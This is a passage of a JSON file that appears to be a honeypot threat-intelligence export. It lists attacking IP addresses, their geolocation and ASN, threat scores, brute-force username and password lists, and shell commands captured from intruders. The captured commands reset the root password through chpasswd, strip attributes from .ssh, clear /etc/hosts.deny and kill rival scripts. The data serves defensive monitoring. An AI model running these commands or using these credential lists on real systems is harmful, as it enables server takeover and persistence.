    "119.199.188.80": {
      "attack_count": 168,
      "first_seen": "2026-04-27T21:01:18.587Z",
      "last_seen": "2026-04-27T21:32:26.645Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu"
      ],
      "passwords_attempted": [
        "0ffice1",
        "123456Qwerty",
        "123456aA",
        "1t2y3u",
        "3245gs5662d34",
        "345gs5662d34",
        "@admin123",
        "Aa11223344",
        "AbcAbc",
        "DuyVPS123",
        "M@ster1",
        "Mohit@123456789",
        "Pa55word1",
        "Password@1234",
        "Pp@123456",
        "Shakti@12345678",
        "chinaidc2005",
        "guest123",
        "hengbing12345",
        "toor"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:P716lAAnBX1S\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Jinju",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 32.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 217,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T21:01:18.587000+00:00",
        "last_seen_30d": "2026-04-27T21:33:36.660000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 49
      }
    },
    "57.128.237.155": {
      "attack_count": 168,
      "first_seen": "2026-04-26T21:14:09.535Z",
      "last_seen": "2026-04-26T21:33:15.032Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "Root",
        "sudoroot"
      ],
      "passwords_attempted": [
        "1!2@3#",
        "123",
        "1q2w3e.1234",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa12345619",
        "Google123!@#",
        "Linyou@2025",
        "[csgo]",
        "admin.2025",
        "c0v1d19",
        "cloud#2024",
        "erdfcv34",
        "idc!@",
        "imobile",
        "jblinux",
        "random()root!",
        "rhy123456",
        "root1q2w3e4r5t6y",
        "root2025"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:ffoW1GLjbcfd\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Warsaw",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 31.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 216,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T21:14:09.535000+00:00",
        "last_seen_30d": "2026-04-26T21:34:18.219000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 48
      }
    },
    "154.0.163.160": {
      "attack_count": 162,
      "first_seen": "2026-04-30T22:25:58.438Z",
      "last_seen": "2026-04-30T22:30:13.435Z",
      "sessions": 81,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Johannesburg",
      "asn": 37611,
      "as_org": "AFRIHOST-SP",
      "threat_score": 36.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 244,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T22:25:58.438000+00:00",
        "last_seen_30d": "2026-04-30T22:31:15.594000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 162,
        "Suricata": 82
      }
    },
    "81.45.181.135": {
      "attack_count": 129,
      "first_seen": "2026-04-08T05:46:04.040Z",
      "last_seen": "2026-04-08T06:24:22.363Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "steam",
        "345gs5662d34",
        "sasha",
        "serv",
        "sftptest1",
        "test",
        "ttx",
        "ubuntu"
      ],
      "passwords_attempted": [
        "1122334455",
        "123QWE123qwe",
        "3245gs5662d34",
        "345gs5662d34",
        "Default2025!",
        "Qazwsx2026@#",
        "Root0@#",
        "qazwsx2026#",
        "qwe123",
        "root12345@123",
        "sasha123",
        "serv",
        "sftptest1",
        "ttx2026"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"serv\\nZTuwAAdLYFHl\\nZTuwAAdLYFHl\\n\"|passwd",
        "echo -e \"serv\\nZTuwAAdLYFHl\\nZTuwAAdLYFHl\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": null,
      "asn": 3352,
      "as_org": "Telefonica De Espana S.a.u.",
      "threat_score": 9.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 163,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T05:46:04.040000+00:00",
        "last_seen_30d": "2026-04-08T06:25:31.969000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 129,
        "Suricata": 34
      }
    },
    "154.124.188.33": {
      "attack_count": 104,
      "first_seen": "2026-04-02T04:21:33.248Z",
      "last_seen": "2026-04-02T05:26:58.976Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!@#qweASDzxc",
        "345gs5662d34",
        "Zxcv1111",
        "aaa12345",
        "qwe123456",
        "suicide"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:YJkj11GDu6ip\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Senegal",
      "country_code": "SN",
      "city": "Dakar",
      "asn": 8346,
      "as_org": "SONATEL SONATEL-AS Autonomous System",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 138,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T04:21:33.248000+00:00",
        "last_seen_30d": "2026-04-02T05:28:01.891000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 104,
        "Suricata": 34
      }
    },
    "152.42.182.30": {
      "attack_count": 93,
      "first_seen": "2026-04-26T17:04:03.740Z",
      "last_seen": "2026-04-26T17:42:59.619Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!Q@W#E$RASD",
        "!qw2e3r",
        "1234.qwert",
        "123456q",
        "123Pass123",
        "1QAZxsw2",
        "1Qw2e3r4t5",
        "3245gs5662d34",
        "345gs5662d34",
        "QWe1234",
        "Qwe",
        "Server.1",
        "Welkom2026.@",
        "abcd123",
        "jinx123",
        "p@ssw0rd!@#123",
        "q!w@e#"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 131,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T17:04:03.740000+00:00",
        "last_seen_30d": "2026-04-26T17:44:03.718000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 93,
        "Suricata": 38
      }
    },
    "27.150.188.148": {
      "attack_count": 71,
      "first_seen": "2026-04-01T14:29:11.941Z",
      "last_seen": "2026-04-01T15:36:56.701Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "AA4567",
        "Aa#123456",
        "Abcdef12345",
        "Op1234",
        "QRS123",
        "Qq123456789",
        "Qwerty@Admin",
        "Root1234!@#$",
        "ZZaa1234",
        "a1b2c3",
        "p@ssw0rd2026"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 133774,
      "as_org": "Fuzhou",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 114,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T14:29:11.941000+00:00",
        "last_seen_30d": "2026-04-01T15:47:04.991000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 71,
        "Suricata": 43
      }
    },
    "144.48.130.30": {
      "attack_count": 50,
      "first_seen": "2026-04-05T02:55:03.588Z",
      "last_seen": "2026-04-05T03:00:28.022Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T02:55:03.588000+00:00",
        "last_seen_30d": "2026-04-05T03:01:34.507000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "206.135.161.241": {
      "attack_count": 50,
      "first_seen": "2026-04-21T10:47:18.371Z",
      "last_seen": "2026-04-21T10:52:42.798Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T10:47:18.371000+00:00",
        "last_seen_30d": "2026-04-21T10:53:52.725000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "196.188.168.148": {
      "attack_count": 27,
      "first_seen": "2026-04-29T12:34:57.530Z",
      "last_seen": "2026-04-29T12:35:31.620Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "a",
        "admin",
        "nil",
        "orangepi",
        "root"
      ],
      "passwords_attempted": [
        "",
        "a",
        "admin",
        "orangepi",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Addis Ababa",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 29.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T12:34:57.530000+00:00",
        "last_seen_30d": "2026-04-29T12:36:39.474000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 27,
        "Suricata": 14
      }
    },
    "125.20.210.182": {
      "attack_count": 26,
      "first_seen": "2026-04-18T19:26:51.946Z",
      "last_seen": "2026-04-28T21:02:36.249Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "P",
        "orangepi",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Gurugram",
      "asn": 9498,
      "as_org": "BHARTI Airtel Ltd.",
      "threat_score": 39.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.2,
        "persistence": 9.2,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 11,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T19:26:51.946000+00:00",
        "last_seen_30d": "2026-04-28T21:03:43.218000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 26,
        "Suricata": 26
      }
    },
    "198.23.246.190": {
      "attack_count": 25,
      "first_seen": "2026-04-28T01:45:41.641Z",
      "last_seen": "2026-04-28T01:47:51.099Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T01:45:41.641000+00:00",
        "last_seen_30d": "2026-04-28T01:48:54.918000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 12
      }
    },
    "161.35.79.93": {
      "attack_count": 24,
      "first_seen": "2026-04-21T06:57:41.816Z",
      "last_seen": "2026-04-22T23:33:57.968Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "a",
        "nil"
      ],
      "passwords_attempted": [
        "",
        "a"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 27.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.9,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-21T06:57:41.816000+00:00",
        "last_seen_30d": "2026-04-22T23:35:01.933000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 21,
        "Honeytrap": 4
      }
    },
    "2.57.122.193": {
      "attack_count": 24,
      "first_seen": "2026-04-03T16:03:20.239Z",
      "last_seen": "2026-04-30T16:03:17.064Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 51.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.2,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T16:03:20.239000+00:00",
        "last_seen_30d": "2026-04-30T16:04:18.975000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "80.9.201.148": {
      "attack_count": 24,
      "first_seen": "2026-04-22T19:54:15.742Z",
      "last_seen": "2026-04-22T19:54:21.902Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "default",
        "tech"
      ],
      "passwords_attempted": [
        "12345",
        "7ujMko0vizxv",
        "Win1doW$",
        "antslq",
        "tech"
      ],
      "commands_executed": [
        "q",
        "shell",
        "system",
        "/bin/busybox VITMR",
        "cat /proc/mounts; /bin/busybox VITMR",
        "cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VITMR",
        "dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s",
        "enable",
        "rm .s; exit",
        "sh",
        "tftp; wget; /bin/busybox VITMR",
        "while read i"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Seysses",
      "asn": 3215,
      "as_org": "Orange",
      "threat_score": 19.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T19:54:15.742000+00:00",
        "last_seen_30d": "2026-04-22T19:55:28.331000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 2
      }
    },
    "85.11.183.25": {
      "attack_count": 22,
      "first_seen": "2026-04-20T02:08:54.329Z",
      "last_seen": "2026-04-27T23:13:52.031Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip, deflate, br",
        "Connection: close",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept-Language: en-US,en;q=0.9",
        "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 201002,
      "as_org": "PebbleHost Ltd",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 2049,
        "days_active_30d": 30,
        "ports_targeted_30d": 295,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-04-01T03:36:12+00:00",
        "last_seen_30d": "2026-04-30T03:41:56.979000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1393,
        "Honeytrap": 604,
        "Cowrie": 22,
        "ConPot": 6,
        "Redishoneypot": 6,
        "CitrixHoneypot": 5,
        "H0neytr4p": 5,
        "Dionaea": 4,
        "Tanner": 3,
        "ElasticPot": 1
      }
    },
    "206.189.32.119": {
      "attack_count": 20,
      "first_seen": "2026-04-11T13:45:50.400Z",
      "last_seen": "2026-04-11T13:47:27.466Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.2,
        "persistence": 5.0,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 6,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T06:02:55.494000+00:00",
        "last_seen_30d": "2026-04-11T13:48:27.789000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 13
      }
    },
    "77.90.185.87": {
      "attack_count": 18,
      "first_seen": "2026-04-10T12:39:53.634Z",
      "last_seen": "2026-04-15T17:19:10.317Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "kelltech",
        "admin"
      ],
      "passwords_attempted": [
        "123@Kelltech",
        "2024Kelltech",
        "Admin123#"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T12:39:53.634000+00:00",
        "last_seen_30d": "2026-04-15T17:20:18.238000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 9
      }
    },
    "104.253.74.50": {
      "attack_count": 17,
      "first_seen": "2026-04-03T05:46:06.673Z",
      "last_seen": "2026-04-03T05:46:29.452Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "RPM",
        "admin",
        "sshd"
      ],
      "passwords_attempted": [
        "RPM",
        "admin",
        "sshd"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": null,
      "as_org": null,
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T05:46:06.673000+00:00",
        "last_seen_30d": "2026-04-03T05:47:38.602000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 17,
        "Suricata": 7
      }
    },
    "165.245.168.134": {
      "attack_count": 17,
      "first_seen": "2026-04-01T21:38:18.693Z",
      "last_seen": "2026-04-01T21:45:40.517Z",
